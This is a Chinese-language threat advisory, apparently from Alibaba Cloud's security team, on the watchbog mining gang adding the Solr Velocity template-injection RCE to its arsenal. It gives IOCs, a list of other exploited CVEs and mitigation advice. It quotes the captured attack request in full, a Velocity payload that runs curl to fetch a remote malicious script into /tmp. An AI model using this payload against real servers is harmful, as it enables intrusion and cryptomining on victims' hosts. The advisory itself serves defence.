概述

近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利。建议用户及时排查自身主机是否受到影响。

值得注意的是,此漏洞利用代码于10月31日被公布,11月2日阿里云安全团队就已发现watchbog团伙利用此漏洞进行入侵,植入木马进行挖矿,漏洞公开不足2日便被挖矿团伙利用进行攻击牟利。可以看到,当新的漏洞被披露出来时,可供企业用户修复的时间窗口越来越短,因此防守方需要及时地关注新披露可利用漏洞,以及采取缓解措施或进行修复,必要时可考虑选用安全产品帮助保障安全。

背景介绍

watchbog挖矿团伙

watchbog团伙最早出现于2018年,是一个利用多种漏洞攻击方式向目标主机植入挖矿木马的恶意团伙,通过挖取门罗币牟利并维持C&C通信以供团伙后续动作。自出现后更新频繁,一直在尝试利用最新的漏洞进行攻击。

Solr Velocity 模板注入远程命令执行漏洞

Apache Solr是开源企业搜索平台,主要包括全文搜索、动态聚类、富文本处理等功能。在2019年10月31日,国外安全研究员公开了Solr Velocity模板注入的POC。此漏洞存在于Solr默认集成组件Solr.VelocityResponseWriter中,参数params.resource.loader.enabled可以控制是否根据请求参数来加载指定模板,虽然默认为false,但攻击者可以通过发送/[core_name]/config来手动设置此参数的开启,之后便可构造恶意请求执行指令。

攻击者首先可以通过[core_admin]获取服务器core_name,之后通过发送以下命令将加载模板指令打开。

开启从参数指定模板后,攻击者便可以发送恶意代码从而进行恶意行为。

恶意脚本分析

11月2日,阿里云安全团队发现有攻击者利用Solr Velocity漏洞发起入侵,其会向受到此漏洞影响的主机发送以下数据:

GET /solr/scalebay_2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))+#set($ex=$rt.getRuntime().exec('curl -fsSL https://pastebin.com/raw/dhQaGbMa -o /tmp/baby'))+$ex.waitFor()+#set($out=$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)

跟进其使用的脚本 https://pastebin.com/raw/dhQaGbMa,此脚本格式内容与阿里云安全团队之前捕获的watchbog恶意脚本内容格式基本一致,(可参考之前阿里云安全针对watchbog的分析文章,参考文末相关链接),可以确认为同一团伙所为,脚本相同内容不再赘述。除了新增了Solr Velocity攻击方式外,其新增了cleanoldpack函数用以清除旧版木马以及其他恶意团伙恶意程序,可见黑产之间的相互竞争也非常激烈。

其他攻击方式

序号 攻击方式
1 Solr dataimport RCE(CVE-2019-0193)
2 Nexus Repository Manager(CVE_2019_5475)
3 Windows blueKeep RDP RCE (CVE-2019-0708)
4 JIRA模板注入(CVE-2019-11581)
5 Exim Mail Server 远程命令执行(CVE-2019-10149)
6 Solr 实体注入 (CVE-2017-12629)
7 Couchdb 远程命令执行(CVE-2018-8007)
8 Nexus Repository Manager 3 远程命令执行(CVE-2019-7238)
9 Jenkins 远程命令执行(CVE-2018-1000861)
10 Redis未授权访问、Redis任意lua字节码执行(CVE-2015-4335)

IOC

pastebin[.]com/raw/dhQaGbMa 
pastebin[.]com/raw/9QVpd02i 
pastebin[.]com/raw/6HtLs31b

MD5:
9f63e1105214ea94766d8c2fe2ba0da0

安全建议

  1. 截止完成此稿,目前官方还未发布任何补丁,建议用户采用白名单策略限制与solr应用通信对象,并时刻关注官方对于此漏洞的反应。
  2. 建议使用阿里云安全的下一代云防火墙产品,其阻断恶意外联、能够配置智能策略的功能,能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明,下载、挖矿、反弹shell这些操作,都需要进行恶意外联;云防火墙的拦截将彻底阻断攻击链。此外,用户还可以通过自定义策略,直接屏蔽恶意网站,达到阻断入侵的目的。此外,云防火墙独有的虚拟补丁功能,能够帮助客户更灵活、更“无感”地阻断攻击。
  3. 对于有更高定制化要求的用户,可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务,定制适合您的方案,帮助加固系统,预防入侵。入侵事件发生后,也可介入直接协助入侵后的清理、事件溯源等,适合有较高安全需求的用户,或未雇佣安全工程师,但希望保障系统安全的企业。

相关链接

  1. watchbog再升级,企业黄金修补期不断缩小,或面临蠕虫和恶意攻击
  2. 威胁快报|Solr dataimport成挖矿团伙新型利用方式
  3. 威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发

本文作者:苍珀

原文链接

本文为云栖社区原创内容,未经允许不得转载。

威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短的更多相关文章

  1. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  2. Apache Solr Velocity模板注入rce+获取交互式shell

    前言: 官方的poc.exp payload只能获取很低的命令执行权限,甚至有些符号.命令还被过滤了,例如管道符被过滤.并且不能写入.下载文件,不能使用管道符重定向文件.那么我们只能通过获取到交互式s ...

  3. Apache Solr < 8.2.0远程命令执行漏洞(CVE-2019-0193)

    介绍:Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现. 漏洞原因:此次漏洞出现在Apache Solr的D ...

  4. solr(CVE-2019-17558)远程命令执行

    影响版本 Apache Solr 5.x到8.2.0版本 测试 https://github.com/jas502n/CVE-2019-0193

  5. solr(CVE-2019-0193)远程命令执行

    影响版本 Apache Solr < 8.2.0 并且开启了DataImportHandler模块(默认情况下该模块不被启用) 安装 重启daoker  更新配置文件 systemctl dae ...

  6. solr(CVE-2017-12629)远程命令执行

    影响版本Apache Solr 5.5.0到7.0.1版本 solr(CVE-2017-12629-RCE) 环境搭建 1.burp检测 创建listen POST /solr/demo/config ...

  7. Apache Solr Velocity模板远程代码执行复现

    0x01漏洞描述 2019年10月31日,国外安全研究员s00py在Github公开了一个Apache Solr Velocity模板注入远程命令执行的poc. 经过研究,发现该0day漏洞真实有效并 ...

  8. 【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞

    2019年7月09日,阿里云应急响应中心监测到有安全研究人员披露Redis 4.x/5.x 远程命令执行高危漏洞利用代码工具.针对未授权或弱口令的Redis服务,攻击者通过构造特定请求,成功利用漏洞可 ...

  9. 漏洞预警 | ThinkPHP 5.x远程命令执行漏洞

    ThinkPHP采用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库).RoR的ORM映射和ActiveRecord模式,是一款兼容性高.部署简单的轻量级国产PHP开发框 ...

随机推荐

  1. thinkphp 级联菜单实现

    养殖场->栋舍级联菜单 //获取默认养殖场和栋舍信息 public function sbjr(){ $yzc_model=M("Yzc"); $list = $yzc_mo ...

  2. php中数组的指针

    利用PHP内置的函数 key() 获得键. current()获得值, next(); prev();移动到上一个 reset();//重置,移动到第一个元素 end();//移动到最后一个元素上 注 ...

  3. Python的Django框架中的URL配置与松耦合

    Python的Django框架中的URL配置与松耦合 用 python 处理一个文本时,想要删除其中中某一行,常规的思路是先把文件读入内存,在内存中修改后再写入源文件. 但如果要处理一个很大的文本,比 ...

  4. 【ABAP系列】SAP 的逻辑数据库解析

    公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[ABAP系列]SAP 的逻辑数据库解析   前 ...

  5. Visio 2016自定义模具与形状

    Visio 2016自定义模具与形状 0. 什么是模具? 模具:一组形状的集合 1. 新建模具 打开Visio 2016,在空白的文件中选更多形状>>新建模具 2. 编辑模具 新建的模具已 ...

  6. Java IO(2)

    关于流的概念 Java 由流来完成具体的IO操作,虽然面对的是不同的外设(网络.鼠标.键盘)IO流使用与全部的外设,在底层Java已经将具体与物理设备交互的细节都处理好了. 流的分类: 从功能上 输入 ...

  7. ubuntu下可用的串口调试工具--cutecom

    今天在ubuntu下要用到串口发送16进制数据,百度了很多工具,觉得minicom和cutecom都不错,比较直观是cutecom,所以就介绍下cutecom. 安装: 输入 $ sudo apt-g ...

  8. Python入门习题3.天天向上

    例3.1 一年365天,以第一天的能力值为基数,记为1.0,当好好学习时能力值相比前一天提高1%,当没有学习时能力值相比前一天下降1%.每天努力(dayup)和每天放任(daydown),一年下来的能 ...

  9. BFS+打印路径

    题目是给你起点sx,和终点gx:牛在起点可以进行下面两个操作: 步行:John花一分钟由任意点X移动到点X-1或点X+1. 瞬移:John花一分钟由任意点X移动到点2*X. 你要输出最短步数及打印路径 ...

  10. python学习第二十二天文件byte类型

    所有的文件在计算机里面存储为二进制形式,但是我们有时候有需要将二进制转换为gbk或者utf-8形式,编码的时候encode 解码的时候decode ,下面简单阐述python二进制在文件传输过程的作用 ...